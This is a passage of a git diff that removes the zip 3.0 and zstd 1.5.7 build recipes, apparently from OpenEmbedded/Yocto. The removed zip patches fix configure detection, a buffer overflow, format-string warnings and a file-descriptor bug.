46+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRCHR"
47
48+echo Check for strrchr
49+cat > conftest.c << _EOF_
50+#include <string.h>
51+int main(){ strrchr(NULL,0); return 0; }
52+_EOF_
53+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
54+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_STRRCHR"
55+
56+echo Check for rename
57+cat > conftest.c << _EOF_
58+#include <stdio.h>
59+int main(){ rename(NULL,NULL); return 0; }
60+_EOF_
61+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
62+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RENAME"
63+
64+echo Check for mktemp
65+cat > conftest.c << _EOF_
66+#include <stdlib.h>
67+int main(){ mktemp(NULL); return 0; }
68+_EOF_
69+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
70+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTEMP"
71+
72+echo Check for mktime
73+cat > conftest.c << _EOF_
74+#include <time.h>
75+int main(){ mktime(NULL); return 0; }
76+_EOF_
77+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
78+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKTIME"
79+
80+echo Check for mkstemp
81+cat > conftest.c << _EOF_
82+#include <stdlib.h>
83+int main(){ return mkstemp(NULL); }
84+_EOF_
85+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
86+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_MKSTEMP"
87
88 echo Check for memset
89-echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
90+cat > conftest.c << _EOF_
91+#include <string.h>
92+int main(){ char k; memset(&k,0,0); return 0; }
93+_EOF_
94 $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
95 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
96
97-
98 echo Check for memmove
99 cat > conftest.c << _EOF_
100 #include <string.h>
101@@ -548,7 +597,7 @@ $CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
102 echo Check for errno declaration
103 cat > conftest.c << _EOF_
104 #include <errno.h>
105-main()
106+int main()
107 {
108 errno = 0;
109 return 0;
110@@ -625,14 +674,18 @@ CFLAGS="${CFLAGS} ${OPT}"
111
112 echo Check for valloc
113 cat > conftest.c << _EOF_
114-main()
115+#include <stdlib.h>
116+int main()
117 {
118 #ifdef MMAP
119- valloc();
120+ valloc(0);
121 #endif
122+ return 0;
123 }
124 _EOF_
125-$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
126+#$CC ${CFLAGS} -c conftest.c > /dev/null 2>/dev/null
127+$CC ${CFLAGS} -c conftest.c
128+echo "==========================================="
129 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_VALLOC"
130
131
132--
1332.37.1
134
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
deleted file mode 100644
index 92d0d5db58..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch
+++ /dev/null
@@ -1,88 +0,0 @@
1From ab5df4826c4a532da78828b72a2751c899e27ef2 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Tue, 8 Mar 2022 22:31:21 -0800
4Subject: [PATCH] configure: Use CFLAGS and LDFLAGS when doing link tests
5
6Some case link flags contain important flags which are required during
7linking, link fails otherwise without them, which can result in
8configure detection go wrong, ensure these flags are used along with CC
9when tests involve linking
10
11Upstream-Status: Inactive-Upstream
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13---
14 unix/configure | 16 ++++++++--------
15 1 file changed, 8 insertions(+), 8 deletions(-)
16
17diff --git a/unix/configure b/unix/configure
18index 1bc698b..1d9a9bb 100644
19--- a/unix/configure
20+++ b/unix/configure
21@@ -517,14 +517,14 @@ for func in rmdir strchr strrchr rename mktemp mktime mkstemp
22 do
23 echo Check for $func
24 echo "int main(){ $func(); return 0; }" > conftest.c
25- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
26+ $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
27 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
28 done
29
30
31 echo Check for memset
32 echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
33-$CC -o conftest conftest.c >/dev/null 2>/dev/null
34+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
35 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DZMEM"
36
37
38@@ -533,7 +533,7 @@ cat > conftest.c << _EOF_
39 #include <string.h>
40 int main() { int a; int b = 0; memmove( &a, &b, sizeof( a)); return a; }
41 _EOF_
42-$CC -o conftest conftest.c >/dev/null 2>/dev/null
43+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
44 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_MEMMOVE"
45
46
47@@ -542,7 +542,7 @@ cat > conftest.c << _EOF_
48 #include <string.h>
49 int main() { strerror( 0); return 0; }
50 _EOF_
51-$CC -o conftest conftest.c >/dev/null 2>/dev/null
52+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
53 [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNEED_STRERROR"
54
55 echo Check for errno declaration
56@@ -563,7 +563,7 @@ cat > conftest.c << _EOF_
57 int main() { return closedir(opendir(".")); }
58 _EOF_
59
60-$CC -o conftest conftest.c >/dev/null 2>/dev/null
61+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
62 if [ $? -ne 0 ]; then
63 OPT=""
64 for lib in ndir dir ucb bsd BSD PW x dirent
65@@ -583,9 +583,9 @@ fi
66
67 echo Check for readlink
68 echo "int main(){ return readlink(); }" > conftest.c
69-$CC -o conftest conftest.c >/dev/null 2>/dev/null
70+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
71 if [ $? -ne 0 ]; then
72- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
73+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
74 [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
75 fi
76
77@@ -661,7 +661,7 @@ elif [ -f /xenix ]; then
78 elif uname -X >/dev/null 2>/dev/null; then
79 # SCO shared library check
80 echo "int main() { return 0;}" > conftest.c
81- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
82+ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
83 [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
84 else
85 SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
86--
872.35.1
88
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
deleted file mode 100644
index 02253f968c..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch
+++ /dev/null
@@ -1,47 +0,0 @@
1From 7a2729ee7f5d9b9d4a0d9b83fe641a2ab03c4ee0 Mon Sep 17 00:00:00 2001
2From: Joe Slater <joe.slater@windriver.com>
3Date: Thu, 24 Feb 2022 17:36:59 -0800
4Subject: [PATCH 1/2] configure: use correct CPP
5
6configure uses CPP to test that two assembler routines
7can be built. Unfortunately, it will use /usr/bin/cpp
8if it exists, invalidating the tests. We use the $CC
9passed to configure.
10
11Upstream-Status: Inappropriate [openembedded specific]
12
13Signed-off-by: Joe Slater <joe.slater@windriver.com>
14---
15 unix/configure | 15 +++++++++------
16 1 file changed, 9 insertions(+), 6 deletions(-)
17
18diff --git a/unix/configure b/unix/configure
19index 73ba803..7e21070 100644
20--- a/unix/configure
21+++ b/unix/configure
22@@ -220,13 +220,16 @@ fi
23 echo Check for the C preprocessor
24 # on SVR4, cc -E does not produce correct assembler files. Need /lib/cpp.
25 CPP="${CC} -E"
26+
27+# We should not change CPP for yocto builds.
28+#
29 # solaris as(1) needs -P, maybe others as well ?
30-[ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
31-[ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
32-[ -f /lib/cpp ] && CPP=/lib/cpp
33-[ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
34-[ -f /xenix ] && CPP="${CC} -E"
35-[ -f /lynx.os ] && CPP="${CC} -E"
36+# [ -f /usr/ccs/lib/cpp ] && CPP="/usr/ccs/lib/cpp -P"
37+# [ -f /usr/lib/cpp ] && CPP=/usr/lib/cpp
38+# [ -f /lib/cpp ] && CPP=/lib/cpp
39+# [ -f /usr/bin/cpp ] && CPP=/usr/bin/cpp
40+# [ -f /xenix ] && CPP="${CC} -E"
41+# [ -f /lynx.os ] && CPP="${CC} -E"
42
43 echo "#include <stdio.h>" > conftest.c
44 $CPP conftest.c >/dev/null 2>/dev/null || CPP="${CC} -E"
45--
462.24.1
47
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-fileio.c-fix-a-buffer-overflow-detected-issue.patch b/meta/recipes-extended/zip/zip-3.0/0001-fileio.c-fix-a-buffer-overflow-detected-issue.patch
deleted file mode 100644
index d760dfcec5..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/0001-fileio.c-fix-a-buffer-overflow-detected-issue.patch
+++ /dev/null
@@ -1,38 +0,0 @@
1From 23b4ed82bff20c737fe2e95d5b035e92a9522ca2 Mon Sep 17 00:00:00 2001
2From: Ming Liu <liu.ming50@gmail.com>
3Date: Thu, 15 May 2025 13:58:45 +0200
4Subject: [PATCH] fileio.c: fix a buffer overflow detected issue
5MIME-Version: 1.0
6Content-Type: text/plain; charset=UTF-8
7Content-Transfer-Encoding: 8bit
8
9Fix a following issue:
10| *** buffer overflow detected ***: terminated
11|
12| zip error: Interrupted (aborting)
13
14Reference: https://bugzilla.redhat.com/show_bug.cgi?id=2165653
15
16Upstream-Status: Inactive-Upstream [the fix is from Redhat but not the official project]
17
18Signed-off-by: Ming Liu <liu.ming50@gmail.com>
19---
20 fileio.c | 2 +-
21 1 file changed, 1 insertion(+), 1 deletion(-)
22
23diff --git a/fileio.c b/fileio.c
24index 1847e62..5a2959d 100644
25--- a/fileio.c
26+++ b/fileio.c
27@@ -3502,7 +3502,7 @@ zwchar *local_to_wide_string(local_string)
28 if ((wc_string = (wchar_t *)malloc((wsize + 1) * sizeof(wchar_t))) == NULL) {
29 ZIPERR(ZE_MEM, "local_to_wide_string");
30 }
31- wsize = mbstowcs(wc_string, local_string, strlen(local_string) + 1);
32+ wsize = mbstowcs(wc_string, local_string, wsize + 1);
33 wc_string[wsize] = (wchar_t) 0;
34
35 /* in case wchar_t is not zwchar */
36--
372.43.0
38
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch b/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
deleted file mode 100644
index 106f246a7c..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch
+++ /dev/null
@@ -1,96 +0,0 @@
1From 9916fc6f1f93f3e092e3c6937c30dc8137c26d34 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Thu, 15 Jun 2023 18:31:26 +0800
4Subject: [PATCH] unix/configure: use _Static_assert to do correct detection
5
6We're doing cross compilation, running a cross-compiled problem
7on host to detemine feature is not correct. Use _Static_assert
8to do the detection correctly.
9
10Upstream-Status: Inactive-Upstream
11
12Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
13---
14 unix/configure | 42 ++++++++++++------------------------------
15 1 file changed, 12 insertions(+), 30 deletions(-)
16
17diff --git a/unix/configure b/unix/configure
18index f2b3d02..f917086 100644
19--- a/unix/configure
20+++ b/unix/configure
21@@ -361,6 +361,10 @@ cat > conftest.c << _EOF_
22 #include <sys/stat.h>
23 #include <unistd.h>
24 #include <stdio.h>
25+
26+_Static_assert(sizeof((struct stat){0}.st_uid) == 2, "sizeof st_uid is not 16 bit");
27+_Static_assert(sizeof((struct stat){0}.st_gid) == 2, "sizeof st_gid is not 16 bit");
28+
29 int main()
30 {
31 struct stat s;
32@@ -385,21 +389,7 @@ if [ $? -ne 0 ]; then
33 echo -- UID/GID test failed on compile - disabling old 16-bit UID/GID support
34 CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
35 else
36-# run it
37- ./conftest
38- r=$?
39- if [ $r -eq 1 ]; then
40- echo -- UID not 2 bytes - disabling old 16-bit UID/GID support
41- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
42- elif [ $r -eq 2 ]; then
43- echo -- GID not 2 bytes - disabling old 16-bit UID/GID support
44- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
45- elif [ $r -eq 3 ]; then
46- echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
47- else
48- echo -- test failed - conftest returned $r - disabling old 16-bit UID/GID support
49- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
50- fi
51+ echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
52 fi
53
54
55@@ -417,6 +407,10 @@ cat > conftest.c << _EOF_
56 #include <sys/stat.h>
57 #include <unistd.h>
58 #include <stdio.h>
59+
60+_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
61+_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
62+
63 int main()
64 {
65 off_t offset;
66@@ -436,24 +430,12 @@ _EOF_
67 # compile it
68 $CC -o conftest conftest.c >/dev/null 2>/dev/null
69 if [ $? -ne 0 ]; then
70- echo -- no Large File Support
71+ echo -- yes we have Large File Support!
72+ CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
73 else
74-# run it
75- ./conftest
76- r=$?
77- if [ $r -eq 1 ]; then
78- echo -- no Large File Support - no 64-bit off_t
79- elif [ $r -eq 2 ]; then
80- echo -- no Large File Support - no 64-bit stat
81- elif [ $r -eq 3 ]; then
82- echo -- yes we have Large File Support!
83- CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
84- else
85- echo -- no Large File Support - conftest returned $r
86- fi
87+ echo -- no Large File Support
88 fi
89
90-
91 # Check for wide char for Unicode support
92 # Added 11/24/2005 EG
93
94--
952.34.1
96
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
deleted file mode 100644
index 6e0879616a..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
+++ /dev/null
@@ -1,34 +0,0 @@
1From b0492506d2c28581193906e9d260d4f0451e2c39 Mon Sep 17 00:00:00 2001
2From: Joe Slater <joe.slater@windriver.com>
3Date: Thu, 24 Feb 2022 17:46:03 -0800
4Subject: [PATCH 2/2] configure: support PIC code build
5
6Disable building match.S. The code requires
7relocation in .text.
8
9Upstream-Status: Inappropriate [openembedded specific]
10
11Signed-off-by: Joe Slater <joe.slater@windriver.com>
12---
13 unix/configure | 5 +++--
14 1 file changed, 3 insertions(+), 2 deletions(-)
15
16diff --git a/unix/configure b/unix/configure
17index 7e21070..1bc698b 100644
18--- a/unix/configure
19+++ b/unix/configure
20@@ -242,8 +242,9 @@ if eval "$CPP match.S > _match.s 2>/dev/null"; then
21 if test ! -s _match.s || grep error < _match.s > /dev/null; then
22 :
23 elif eval "$CC -c _match.s >/dev/null 2>/dev/null" && [ -f _match.o ]; then
24- CFLAGS="${CFLAGS} -DASMV"
25- OBJA="match.o"
26+ # disable match.S for PIC code
27+ # CFLAGS="${CFLAGS} -DASMV"
28+ # OBJA="match.o"
29 echo "int foo() { return 0;}" > conftest.c
30 $CC -c conftest.c >/dev/null 2>/dev/null
31 echo Check if compiler generates underlines
32--
332.24.1
34
diff --git a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
deleted file mode 100644
index 6fd04df1c6..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
+++ /dev/null
@@ -1,19 +0,0 @@
1From: Santiago Vila <sanvila@debian.org>
2Subject: Remove (optional) build date to make the build reproducible
3Bug-Debian: http://bugs.debian.org/779042
4
5Upstream-Status: Inactive-Upstream [no upstream]
6
7Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
8
9--- a/unix/unix.c
10+++ b/unix/unix.c
11@@ -1020,7 +1020,7 @@
12
13
14 /* Define the compile date string */
15-#ifdef __DATE__
16+#if 0
17 # define COMPILE_DATE " on " __DATE__
18 #else
19 # define COMPILE_DATE ""
diff --git a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
deleted file mode 100644
index f85fddbc60..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
+++ /dev/null
@@ -1,42 +0,0 @@
1zip: Fixing security formatting issues
2
3Fix security formatting issues related to printing without NULL argument
4
5zip.c: In function 'help_extended':
6zip.c:1031:5: error: format not a string literal and no format arguments [-Werror=format-security]
7 printf(text[i]);
8 ^
9zip.c: In function 'version_info':
10zip.c:1228:5: error: format not a string literal and no format arguments [-Werror=format-security]
11 printf(cryptnote[i]);
12 ^
13
14[YOCTO #9552]
15[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552]
16
17Upstream-Status: Inactive-Upstream [need a new release]
18
19Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
20
21diff --git a/zip.c b/zip.c
22index 439821f..d7da768 100644
23--- a/zip.c
24+++ b/zip.c
25@@ -1028,7 +1028,7 @@ local void help_extended()
26
27 for (i = 0; i < sizeof(text)/sizeof(char *); i++)
28 {
29- printf(text[i]);
30+ fputs(text[i],stdout);
31 putchar('\n');
32 }
33 #ifdef DOS
34@@ -1225,7 +1225,7 @@ local void version_info()
35 CR_MAJORVER, CR_MINORVER, CR_BETA_VER, CR_VERSION_DATE);
36 for (i = 0; i < sizeof(cryptnote)/sizeof(char *); i++)
37 {
38- printf(cryptnote[i]);
39+ fputs(cryptnote[i],stdout);
40 putchar('\n');
41 }
42 ++i; /* crypt support means there IS at least one compilation option */
diff --git a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
deleted file mode 100644
index 77ade40a04..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
+++ /dev/null
@@ -1,22 +0,0 @@
1Close the correct file descriptor
2
3https://bugs.archlinux.org/task/47713
4
5Signed-off-by: Jate Sujjavanich <jatedev@gmail.com>
6
7Upstream-Status: Inactive-Upstream [no upstream]
8
9diff --git a/zipnote.c b/zipnote.c
10index 5e02cb6..996f012 100644
11--- a/zipnote.c
12+++ b/zipnote.c
13@@ -661,7 +661,7 @@ char **argv; /* command line tokens */
14 if ((r = zipcopy(z)) != ZE_OK)
15 ziperr(r, "was copying an entry");
16 }
17- fclose(x);
18+ fclose(in_file);
19
20 /* Write central directory and end of central directory with new comments */
21 if ((c = zftello(y)) == (zoff_t)-1) /* get start of central */
22
diff --git a/meta/recipes-extended/zip/zip_3.0.bb b/meta/recipes-extended/zip/zip_3.0.bb
deleted file mode 100644
index d1092551f7..0000000000
--- a/meta/recipes-extended/zip/zip_3.0.bb
+++ /dev/null
@@ -1,54 +0,0 @@
1SUMMARY = "Compressor/archiver for creating and modifying .zip files"
2HOMEPAGE = "http://www.info-zip.org"
3DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
4SECTION = "console/utils"
5
6LICENSE = "Info-ZIP"
7LIC_FILES_CHKSUM = "file://LICENSE;md5=04d43c5d70b496c032308106e26ae17d"
8
9S = "${UNPACKDIR}/zip30"
10
11SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/Zip%203.x%20%28latest%29/3.0/zip30.tar.gz \
12 file://fix-security-format.patch \
13 file://10-remove-build-date.patch \
14 file://zipnote-crashes-with-segfault.patch \
15 file://0001-configure-use-correct-CPP.patch \
16 file://0002-configure-support-PIC-code-build.patch \
17 file://0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch \
18 file://0001-configure-Specify-correct-function-signatures-and-de.patch \
19 file://0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch \
20 file://0001-configure-Include-dirent.h-for-closedir-opendir-APIs.patch \
21 file://0001-fileio.c-fix-a-buffer-overflow-detected-issue.patch \
22 "
23UPSTREAM_VERSION_UNKNOWN = "1"
24
25SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369"
26
27CVE_STATUS[CVE-2018-13410] = "disputed: Disputed and also Debian doesn't consider a vulnerability"
28CVE_STATUS[CVE-2018-13684] = "cpe-incorrect: Not for zip but for smart contract implementation for it"
29
30# zip.inc sets CFLAGS, but what Makefile actually uses is
31# CFLAGS_NOOPT. It will also force -O3 optimization, overriding
32# whatever we set.
33EXTRA_OEMAKE = "'CC=${CC}' 'BIND=${CC}' 'AS=${CC} -c' 'CPP=${CPP}' \
34 'CFLAGS=-I. -DUNIX ${CFLAGS}' \
35 'CFLAGS_NOOPT=-I. -DUNIX ${CFLAGS}' \
36 'INSTALL=install' 'INSTALL_D=install -d' \
37 'BINFLAGS=0755'"
38
39do_compile() {
40 oe_runmake -f unix/Makefile flags IZ_BZIP2=no_such_directory
41 sed -i 's#LFLAGS1=""#LFLAGS1="${LDFLAGS}"#' flags
42 oe_runmake -f unix/Makefile generic IZ_BZIP2=no_such_directory
43}
44
45do_install() {
46 oe_runmake -f unix/Makefile prefix=${D}${prefix} \
47 BINDIR=${D}${bindir} MANDIR=${D}${mandir}/man1 \
48 install
49}
50
51BBCLASSEXTEND = "native"
52
53# exclude version 2.3.2 which triggers a false positive
54UPSTREAM_CHECK_REGEX = "^zip(?P<pver>(?!232).+)\.tgz"
diff --git a/meta/recipes-extended/zstd/zstd_1.5.7.bb b/meta/recipes-extended/zstd/zstd_1.5.7.bb
deleted file mode 100644
index 0e872b95aa..0000000000
--- a/meta/recipes-extended/zstd/zstd_1.5.7.bb
+++ /dev/null
@@ -1,44 +0,0 @@
1SUMMARY = "Zstandard - Fast real-time compression algorithm"
2DESCRIPTION = "Zstandard is a fast lossless compression algorithm, targeting \
3real-time compression scenarios at zlib-level and better compression ratios. \
4It's backed by a very fast entropy stage, provided by Huff0 and FSE library."
5HOMEPAGE = "http://www.zstd.net/"
6SECTION = "console/utils"
7
8LICENSE = "BSD-3-Clause | GPL-2.0-only"
9LIC_FILES_CHKSUM = "file://LICENSE;md5=0822a32f7acdbe013606746641746ee8 \
10 file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0 \
11 "
12
13SRC_URI = "git://github.com/facebook/zstd.git;branch=release;protocol=https"
14
15SRCREV = "f8745da6ff1ad1e7bab384bd1f9d742439278e99"
16UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
17
18CVE_PRODUCT = "zstandard"
19
20PACKAGECONFIG ??= ""
21PACKAGECONFIG[lz4] = "HAVE_LZ4=1,HAVE_LZ4=0,lz4"
22PACKAGECONFIG[lzma] = "HAVE_LZMA=1,HAVE_LZMA=0,xz"
23PACKAGECONFIG[zlib] = "HAVE_ZLIB=1,HAVE_ZLIB=0,zlib"
24
25# See programs/README.md for how to use this
26ZSTD_LEGACY_SUPPORT ??= "4"
27
28EXTRA_OEMAKE += "V=1"
29
30do_compile () {
31 oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT}
32 oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} -C contrib/pzstd
33}
34
35do_install () {
36 oe_runmake install 'DESTDIR=${D}'
37 oe_runmake install 'DESTDIR=${D}' PREFIX=${prefix} -C contrib/pzstd
38}
39
40PACKAGE_BEFORE_PN = "libzstd"
41
42FILES:libzstd = "${libdir}/libzstd${SOLIBS}"
43
44BBCLASSEXTEND = "native nativesdk"